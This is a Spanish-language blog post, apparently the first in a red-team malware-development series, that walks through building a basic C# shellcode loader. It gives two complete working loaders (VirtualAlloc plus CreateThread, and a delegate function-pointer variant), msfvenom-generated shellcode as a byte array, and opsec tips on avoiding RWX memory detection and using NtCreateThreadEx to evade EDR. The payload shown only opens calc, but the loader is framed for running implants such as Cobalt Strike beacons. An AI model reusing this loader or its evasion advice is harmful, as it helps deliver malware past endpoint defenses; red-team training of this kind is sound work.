MalDev práctico: shellcode loader básico

En la actualidad ser un red teamer de verdad conlleva tener que desarrollar tu propio malware y preparar una infraestructura de C2 para una campaña concreta que debe ser preparada minuciosamente de forma opsec. Como veis muchos skills que requieren un alto grado de especificación técnica.


La primera parte de la denominada "weaponization" puede resultar bastante imponente o desalentadora, sobretodo para los que venimos del mundo de sistemas y redes, que nunca hemos sido específicamente programadores ni hecho un desarrollo medio serio. Pero es así, hay que afrontarla porque ya no vale ejecutar la herramienta open source o el payload generado de turno cual script kiddie y empezar a operar, en el mundo de los AVs de nueva generación y los EDRs modernos se va a requerir un grado continuo de personalización de todos nuestros artefactos si realmente queremos evadir las protecciones a las que nos enfrentamos.

Y no se trata de reinventar la rueda, ni ser muy fino desarrollando o de saberse al dedillo las tripas de la Biblia del Windows Internals, si no de simplemente ser práctico, entender lo que se está haciendo y ser capaces de ir incorporando poco a poco otras técnicas a nuestro código que, aunque a veces "sucio", funcione. Y de eso tratan esta serie de entradas, sencillamente una serie de artículos técnicos "random" con pequeñas cosas de malware que funcionen. Así que ábrete un birra para el caloret y al lío...

Para empezar he cogido los ejercicios que se dieron en el workshop 'MalDev for Dummies' en Hack in Paris 2022, concretamente los que están hechos en C# (también encontraréis en Nim):  

https://github.com/chvancooten/maldev-for-dummies

DE LA TEORÍA ...

El primer ejercicio es crear un loader básico, uno que simplemente ejecute el shellcode en el proceso actual. Resumiéndolo, tendremos que reservar memoria en nuestro proceso actual para copiar el shellcode y luego crear un hilo para que lo ejecute. Para ello se contemplan dos combinaciones de llamadas a APIs de Windows:

  • [copiar memoria] + VirtualProtect() + CreateThread(): Esta es la forma más sencilla de hacer que el shellcode se ejecute. Debido a que ya está colocado en la memoria en el momento en que se define la variable, se puede "omitir" el primer paso y simplemente apuntar a dicha variable con el shelldoce mediante VirtualProtect() para que sea ejecutable. Después de eso, puede usar CreateThread() para ejecutar el shellcode (o castear un puntero).
  • VirtualAlloc() + [copiar memoria] + CreateThread(): Esta es una alternativa a la anterior, otra forma muy popular de ejecutar shellcodes. Podemos usar VirtualAlloc() para asignar una región de memoria ejecutable para el shellcode y luego copiarlo en la memoria asignada. El resultado es el mismo que el primer método.

En C# podemos llamar a esas funciones de la dll externa mediante P/Invoke y la copia de memoria se puede realizar sin llamadas a la API utilizando Marshal.copy.

Luego dependiendo del tipo de shellcode que esté usando, es posible que necesitemos usar la API WaitForSingleObject() para mantener vivo nuestro programa mientras se ejecuta el shellcode. Esto solo es necesario para shellcodes de ejecución prolongada, como un beacon CobaltStrike.

... A LA PRÁCTICA


Lo primero por supuesto sería instalar una máquina virtual de desarrollo. No me voy a enrollar mucho en ésto porque no es el objetivo, pero os recomiendo descargar la imagen de una máquina Windows 10 x64 desde la web oficial de developers de Microsft Edge (https://developer.microsoft.com/es-es/microsoft-edge/tools/vms/) y tirar de Chocolatey:


choco install -y nim choosenim go rust vscode visualstudio2019community dotnetfx procexp
 
Ya con el entorno de desarrollo preparado, primero usaremos P/Invoke que nos permitirá acceder a estructuras, callbacks y funciones de bibliotecas no administradas desde el código. En nuestro caso para las definiciones para el interfaz con el API de Windows.

La mayor parte de la API de P/Invoke se encuentra en dos espacios de nombres: System y System.Runtime.InteropServices:
using System;
using System.Runtime.InteropServices;

Ahora nos iremos a cada una de las definiciones con P/Invoke para el interfaz con el API de Windows:

Función VirtualAlloc reserva o asigna una región de páginas del espacio de direcciones virtual del proceso que la invoca:
public const uint EXECUTEREADWRITE = 0x40;
public const uint COMMIT_RESERVE = 0x3000;

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

Función CreateThread crea un subproceso para un proceso:
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

Función WaitForSingleObject regresa cuando ocurre uno de los casos siguientes:

  •  El objeto especificado está en el estado señalado.
  •  Transcurre el intervalo de time-out.

[DllImport("kernel32.dll", SetLastError = true)]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, Int32 dwMilliseconds);

Como el objetivo es implementar el loader voy a usar simplemente un payload generado con msfvenom que añadiremos al código como byte array:
msfvenom -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -f csharp
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
En este ejemplo, usamos VirtualAlloc() para asignar memoria para nuestro shellcode y copiarlo.
Asignar memoria RWX (lectura-escritura-ejecución) para ejecutar el shellcode:
int scSize = sc.Length;
IntPtr payAddr = VirtualAlloc(IntPtr.Zero, scSize, COMMIT_RESERVE, EXECUTEREADWRITE);
 
* Consejo de Opsec: la memoria RWX se puede detectar fácilmente. Considera hacer memoria RW primero, y luego RX después de escribir el shellcode
    
Ahora copiamos el shellcode en nuestra región de memoria RWX:    
Marshal.Copy(sc, 0, payAddr, scSize);

Y creamos un hilo al comienzo del shellcode ejecutable para lanzarlo.
IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);

Finalmente esperamos que finalice nuestro subproceso para evitar que el programa se cierre antes de que se ejecute completamente el shellcode. Como decíamos antes, esto es especialmente relevante para shellcode de ejecución prolongada, como los implantes de malware...
uint waitResult = WaitForSingleObject(payThreadId, -1);

Y ya tendríamos todos los pasos. Si juntamos todo el código en nuestra clase el resultado es:
using System;
using System.Runtime.InteropServices;

namespace Loader
{
    public class BasicShellcodeLoader
    {
/* VirtualAlloc */
        public const uint EXECUTEREADWRITE = 0x40;
        public const uint COMMIT_RESERVE = 0x3000;

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        /* CreateThread */
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

        /* WaitForSingleObject */
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern UInt32 WaitForSingleObject(IntPtr hHandle, Int32 dwMilliseconds);

        public static void Main()
        {

            /* shellcode de calc generado por msfvenom */
            byte[] sc = new byte[296] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
            0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
            0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
            0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
            0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
            0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
            0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

            /* usamos VirtualAlloc() para reservar memoria para nuestro shellcode y copiarlo */
            int scSize = sc.Length;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, scSize, COMMIT_RESERVE, EXECUTEREADWRITE);
       
            /* copiamos el shellcode en la región de memoria asignada RWX */
            Marshal.Copy(sc, 0, payAddr, scSize);

            /* creamos un thread en el inicio del shellcode para ejecutarlo */
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);

            /* esperamos a que el thread termine para que el programa no se cierre hasta que termine el shellcode */
            uint waitResult = WaitForSingleObject(payThreadId, -1);
        }
    }
}
Así que vamos a compilarlo y ejecutarlo y comprobamos que se lanza nuestro shellcode:


Evidentemente si tienes cualquier protección como Windows Defender seguramente te detendrá su ejecución porque reconocerá el shellcode, e incluso en el momento de compilarlo.


Ya entraremos en otras materias de evasión, pero dentro de este ejercicio como bonus también se contempla usar las funciones nativas de la API (funciones-nt de NTDLL.dll). Hay muchas, si quieres explorarlas echa un vistazo a malapi.io, pero para implementar nuestro sencillo loader sin llamar a CreateThread() bastaría con usar en su lugar NtCreateThreadEx().

Nota: NtCreateThreadEx() es mas sencillo NtCreateThread() por que no requiere inicializar un TIB (Thread Information Block).

Básicamente en este último código se prepara un puntero a una función y se castea para ejecutar en shellcode en el thread actual para evitar el uso de CreateThreat
using System;
using System.Runtime.InteropServices;

namespace Loader
{
    public class BasicShellcodeLoader
    {

        public const uint EXECUTEREADWRITE = 0x40;
        public const uint COMMIT_RESERVE = 0x3000;

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
                public static extern IntPtr CreateThread(IntPtr lpThreadAttributes,         uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint         dwCreationFlags, uint lpThreadId);

        /* Preparamos el puntero a la función */
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate void ShellcodeRun();

        public static void Main()
        {

            byte[] sc = new byte[296] {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
            0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
            0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
            0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
            0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
            0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
            0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
            0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
            0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
            0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x43,0x3a,0x5c,
            0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,
            0x32,0x5c,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

            int scSize = sc.Length;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, scSize, COMMIT_RESERVE, EXECUTEREADWRITE);
       
            Marshal.Copy(sc, 0, payAddr, scSize);

         /* Usando la delegación de función que creamos anteriormente, "lanzamos un puntero" para ejecutar el shellcode en el hilo actual para evitar tener que usar CreateThread */

            ShellcodeRun f = Marshal.GetDelegateForFunctionPointer<ShellcodeRun>(payAddr);
            f();
        }
    }
}

Y esto es todo por este post, en el próximo de esta serie empezaremos con inyecciones básicas :)

Serie MalDev práctico:

Comentarios